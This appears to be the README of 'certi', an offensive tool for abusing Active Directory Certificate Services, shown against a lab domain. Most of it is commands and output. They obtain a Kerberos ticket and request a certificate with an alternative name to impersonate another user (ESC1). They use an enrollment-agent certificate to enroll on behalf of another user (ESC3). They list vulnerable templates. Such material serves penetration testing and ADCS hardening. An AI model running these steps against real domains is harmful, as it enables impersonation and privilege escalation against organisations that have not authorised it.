certi

Utility to play with ADCS, allows to request tickets and collect information about related objects. Basically, it's the impacket copy of Certify. Thanks to @harmj0y and @tifkin_ for its great work with ADCS.

Request a certificate

To request a certificate you can use the req command:

$ getTGT.py 'contoso.local/Anakin:Vader1234!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=Anakin.ccache
$ certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n
[*] Service: contoso-DC01-CA
[*] Template: User
[*] Username: Anakin

[*] Response: 0x3 Issued  0x80094004, The Enrollee (CN=Anakin,CN=Users,DC=contoso,DC=local) has no E-Mail name registered in the Active Directory.  The E-Mail name will not be included in the certificate.

[*] Cert subject: CN=Anakin,CN=Users,DC=contoso,DC=local
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000062BD9D6E3F1B15CC3000000000006
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication

[*] Saving certificate in Anakin.pfx (password: admin)

Depending on the enrollment service, you may need to use NTLM or Kerberos authentication to get access to it, so be sure to check both. Following is the error triggered when NTLM is not allowed and you should use Kerberos:

(certi) certi$ certi.py req 'contoso.local/Anakin:Vader1234!@dc01.contoso.local' contoso-DC01-CA
Error: WCCE SessionError: code: 0x80094011 - CERTSRV_E_ENROLL_DENIED - The permissions on this CA do not allow the current user to enroll for certificates.
Help: Try using Kerberos authentication with -k -n params

Request with an alternative name

You can use the --alt-name parameter to give an alternative subject and request a certificate that can be used to impersonate the target user if some template allows you to do that:

$ certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
[*] Service: contoso-DC01-CA
[*] Template: UserSAN
[*] Username: Anakin
[*] Alternative Name: han

[*] Response: 0x3 Issued

[*] Cert subject: CN=Anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000000A858CC4B4C9301ED600000000000A
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication
[+] Cert Altname: han@contoso.local

[*] Saving certificate in han@contoso.local.pfx (password: admin)

You can get the templates vulnerable to this by using the --vuln and --enable params of the list command (be sure ):

$ certi.py list 'contoso.local/Anakin' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC1 -B 3
Name: SubCA
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation, ESC2 - Any Purpose, ESC3.2 - Use Agent Certificate
--
Name: UserSAN
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation

Request as an enrollment agent

In case the available templates allows you to do that, you can request a certificate for an enrollment agent and then use it to request a certificate for another user:

$ certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --template EnrollAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollAgent
[*] Username: Han

[*] Response: 0x3 Issued

[*] Cert subject: CN=Han
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000256F1BB99993785823000000000025
[*] Cert Extended Key Usage: Certificate Request Agent

[*] Saving certificate in Han.pfx (password: admin)
$ certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --on-behalf anakin --enroll-cert Han.pfx --enroll-cert-pw admin --template EnrollWithAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollWithAgent
[*] Username: Han
[*] On behalf of: anakin

[*] Response: 0x3 Issued

[*] Cert subject: CN=anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000002AB527D8E1E64930DC00000000002A
[*] Cert Extended Key Usage: Any Purpose, Certificate Request Agent, Encrypting File System, Secure Email, Client Authentication

[*] Saving certificate in anakin.pfx (password: admin)

You can check for templates vulnerable to these misconfigurations with the list command (we are that permissions may restrict you from request a certificate for a given template):

$ certi.py list 'contoso.local/Han' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC3 -B 3
